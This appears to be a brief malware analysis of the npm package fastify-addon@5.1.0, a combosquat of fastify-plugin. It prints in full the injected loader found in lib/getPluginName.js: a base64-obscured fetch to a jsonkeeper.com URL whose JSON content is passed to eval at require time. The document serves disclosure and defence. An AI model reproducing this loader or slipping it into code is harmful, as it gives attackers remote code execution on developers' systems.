fastify-addon@5.1.0

Analysis

fastify-addon is a combosquat of the legitimate fastify-plugin package. lib/getPluginName.js contains an injected RCE payload: fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VQk1KQQ==")).then(r=>r.json()).then(d=>{eval(d.content)}), which base64-decodes to hxxps://www[.]jsonkeeper[.]com/b/UBMJA. The payload fetches a remote JSON blob and evals its content field — full remote code execution at require-time. An HTTPS GET to that URL plus DNS A/AAAA queries were observed.